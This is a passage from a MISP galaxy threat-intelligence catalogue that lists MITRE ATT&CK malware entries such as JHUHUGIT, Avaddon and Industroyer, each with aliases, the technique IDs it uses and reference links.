The tag is: *misp-galaxy:mitre-malware="Adups - S0309"*

Adups - S0309 is also known as:

- Adups

View relationships graph

Adups - S0309 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Supply Chain Compromise - T1474" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Call Log - T1433" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"

Table 5293. Table References

Links

http://www.bankinfosecurity.com/did-chinese-spyware-linger-in-us-phones-a-9534
https://attack.mitre.org/software/S0309
https://www.nytimes.com/2016/11/16/us/politics/china-phones-software-security.html

SQLRat - S0390

[SQLRat](https://attack.mitre.org/software/S0390) is malware that executes SQL scripts to avoid leaving traditional host artifacts. [FIN7](https://attack.mitre.org/groups/G0046) has been observed using it.(Citation: Flashpoint FIN 7 March 2019)

The tag is: *misp-galaxy:mitre-malware="SQLRat - S0390"*

SQLRat - S0390 is also known as:

- SQLRat

View relationships graph

SQLRat - S0390 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5294. Table References

Links
https://attack.mitre.org/software/S0390
https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/

JHUHUGIT - S0044

[JHUHUGIT](https://attack.mitre.org/software/S0044) is malware used by [APT28](https://attack.mitre.org/groups/G0007). It is based on Carberp source code and serves as reconnaissance malware. (Citation: Kaspersky Sofacy) (Citation: F-Secure Sofacy 2015) (Citation: ESET Sednit Part 1) (Citation: FireEye APT28 January 2017)

The tag is: *misp-galaxy:mitre-malware="JHUHUGIT - S0044"*

JHUHUGIT - S0044 is also known as:

- JHUHUGIT
- Trojan.Sofacy
- Seduploader
- JKEYSKW
- Sednit
- GAMEFISH
- SofacyCarberp

View relationships graph

JHUHUGIT - S0044 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="SOURFACE" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="CORESHELL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="GAMEFISH" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"

- similar: misp-galaxy:malpedia="Seduploader" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Component Object Model Hijacking - T1546.015" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="Komplex" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Logon Script (Windows) - T1037.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"

Table 5295. Table References

Links
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf
https://attack.mitre.org/software/S0044
https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html
https://labsblog.f-secure.com/2015/09/08/sofacy-recycles-carberp-and-metasploit-code/
https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/
https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/
https://www.symantec.com/blogs/election-security/apt28-espionage-military-government

https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf

SHARPSTATS - S0450

[SHARPSTATS](https://attack.mitre.org/software/S0450) is a .NET backdoor used by [MuddyWater](https://attack.mitre.org/groups/G0069) since at least 2019.(Citation: TrendMicro POWERSTATS V3 June 2019)

The tag is: *misp-galaxy:mitre-malware="SHARPSTATS - S0450"*

SHARPSTATS - S0450 is also known as:

- SHARPSTATS

View relationships graph

SHARPSTATS - S0450 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"

Table 5296. Table References

Links
https://attack.mitre.org/software/S0450
https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/

ADVSTORESHELL - S0045

[ADVSTORESHELL](https://attack.mitre.org/software/S0045) is a spying backdoor that has been used by [APT28](https://attack.mitre.org/groups/G0007) from at least 2012 to 2016. It is generally used for long-term espionage and is deployed on targets deemed interesting after a reconnaissance phase. (Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 2)

The tag is: *misp-galaxy:mitre-malware="ADVSTORESHELL - S0045"*

ADVSTORESHELL - S0045 is also known as:

- ADVSTORESHELL
- AZZY
- EVILTOSS
- NETUI
- Sedreco

View relationships graph

ADVSTORESHELL - S0045 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive via Custom Method - T1560.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="Sedreco" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Scheduled Transfer - T1029" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="EVILTOSS" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Component Object Model Hijacking - T1546.015" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 5297. Table References

Links
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf
https://attack.mitre.org/software/S0045
https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/

Asacub - S0540

[Asacub](https://attack.mitre.org/software/S0540) is a banking trojan that attempts to steal money from victims' bank accounts. It attempts to do this by initiating a wire transfer via SMS message from compromised devices.(Citation: Securelist Asacub)

The tag is: *misp-galaxy:mitre-malware="Asacub - S0540"*

Asacub - S0540 is also known as:

- Asacub
- Trojan-SMS.AndroidOS.Smaps

View relationships graph

Asacub - S0540 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native Code - T1575" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1437" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Device Administrator Permissions - T1401" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade as Legitimate Application - T1444" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMS Control - T1582" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1532" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"

Table 5298. Table References

Links
https://attack.mitre.org/software/S0540
https://securelist.com/the-rise-of-mobile-banker-asacub/87591/

Anchor - S0504

[Anchor](https://attack.mitre.org/software/S0504) is one of a family of backdoor malware that has been used in conjunction with [TrickBot](https://attack.mitre.org/software/S0266) on selected high profile targets since at least 2018.(Citation: Cyberreason Anchor December 2019)(Citation: Medium Anchor DNS July 2020)

The tag is: *misp-galaxy:mitre-malware="Anchor - S0504"*

Anchor - S0504 is also known as:

- Anchor
- Anchor_DNS

View relationships graph

Anchor - S0504 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Cron - T1053.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1553.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Execution Guardrails - T1480" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004" with estimative-language:likelihood-probability="almost-certain"

Table 5299. Table References

Links
https://attack.mitre.org/software/S0504
https://medium.com/stage-2-security/anchor-dns-malware-family-goes-cross-platform-d807ba13ca30
https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware

CloudDuke - S0054

[CloudDuke](https://attack.mitre.org/software/S0054) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) in 2015. (Citation: F-Secure The Dukes) (Citation: Securelist Minidionis July 2015)

The tag is: *misp-galaxy:mitre-malware="CloudDuke - S0054"*

CloudDuke - S0054 is also known as:

- CloudDuke
- MiniDionis
- CloudLook

View relationships graph

CloudDuke - S0054 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5300. Table References

Links
https://attack.mitre.org/software/S0054

https://securelist.com/minidionis-one-more-apt-with-a-usage-of-cloud-drives/71443/
https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf

Exodus - S0405

[Exodus](https://attack.mitre.org/software/S0405) is Android spyware deployed in two distinct stages named Exodus One (dropper) and Exodus Two (payload).(Citation: SWB Exodus March 2019)

The tag is: *misp-galaxy:mitre-malware="Exodus - S0405"*

Exodus - S0405 is also known as:

- Exodus
- Exodus One
- Exodus Two

View relationships graph

Exodus - S0405 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Application Discovery - T1418" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploit OS Vulnerability - T1404" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Calendar Entries - T1435" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1437" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Download New Code at Runtime - T1407" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Stored Application Data - T1409" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1513" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Call Log - T1433" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1509" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture Camera - T1512" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Authorized App Store - T1475" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1532" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Information Discovery - T1507" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"

Table 5301. Table References

Links
https://attack.mitre.org/software/S0405
https://securitywithoutborders.org/blog/2019/03/29/exodus.html

Avaddon - S0640

[Avaddon](https://attack.mitre.org/software/S0640) is ransomware written in C++ that has been offered as Ransomware-as-a-Service (RaaS) since at least June 2020.(Citation: Awake Security Avaddon)(Citation: Arxiv Avaddon Feb 2021)

The tag is: *misp-galaxy:mitre-malware="Avaddon - S0640"*

Avaddon - S0640 is also known as:

- Avaddon

View relationships graph

Avaddon - S0640 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Language Discovery - T1614.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"

Table 5302. Table References

Links
https://arxiv.org/pdf/2102.04796.pdf
https://attack.mitre.org/software/S0640
https://awakesecurity.com/blog/threat-hunting-for-avaddon-ransomware/

CozyCar - S0046

[CozyCar](https://attack.mitre.org/software/S0046) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2010 to 2015. It is a modular malware platform, and its backdoor component can be instructed to download and execute a variety of modules with different functionality. (Citation: F-Secure The Dukes)

The tag is: *misp-galaxy:mitre-malware="CozyCar - S0046"*

CozyCar - S0046 is also known as:

- CozyCar
- CozyDuke
- CozyBear
- Cozer
- EuroAPT

View relationships graph

CozyCar - S0046 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Account Manager - T1003.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Rename System Utilities - T1036.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

Table 5303. Table References

Links
https://attack.mitre.org/software/S0046
https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf

ELMER - S0064

[ELMER](https://attack.mitre.org/software/S0064) is a non-persistent, proxy-aware HTTP backdoor written in Delphi that has been used by [APT16](https://attack.mitre.org/groups/G0023). (Citation: FireEye EPS Awakens Part 2)

The tag is: *misp-galaxy:mitre-malware="ELMER - S0064"*

ELMER - S0064 is also known as:

- ELMER

View relationships graph

ELMER - S0064 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 5304. Table References

Links
https://attack.mitre.org/software/S0064
https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html

Gustuff - S0406

[Gustuff](https://attack.mitre.org/software/S0406) is mobile malware designed to steal users' banking and virtual currency credentials.(Citation: Talos Gustuff Apr 2019)

The tag is: *misp-galaxy:mitre-malware="Gustuff - S0406"*

Gustuff - S0406 is also known as:

- Gustuff

View relationships graph

Gustuff - S0406 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Application Discovery - T1418" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Input Prompt - T1411" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1437" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1417" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Alternate Network Mediums - T1438" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Input Injection - T1516" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Suppress Application Icon - T1508" with estimative-language:likelihood-probability="almost-certain"

Table 5305. Table References

Links
https://attack.mitre.org/software/S0406
https://blog.talosintelligence.com/2019/04/gustuff-targets-australia.html

Industroyer - S0604

[Industroyer](https://attack.mitre.org/software/S0604) is a sophisticated malware framework designed to cause an impact to the working processes of Industrial Control Systems (ICS), specifically components used in electrical substations.(Citation: ESET Industroyer) [Industroyer](https://attack.mitre.org/software/S0604) was used in the attacks on the Ukrainian power grid in December 2016.(Citation: Dragos Crashoverride 2017) This is the first publicly known malware specifically designed to target and impact operations in the electric grid.(Citation: Dragos Crashoverride 2018)

The tag is: *misp-galaxy:mitre-malware="Industroyer - S0604"*

Industroyer - S0604 is also known as:

- Industroyer
- CRASHOVERRIDE
- Win32/Industroyer

View relationships graph

Industroyer - S0604 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Application or System Exploitation - T1499.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Protocol Tunneling - T1572" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
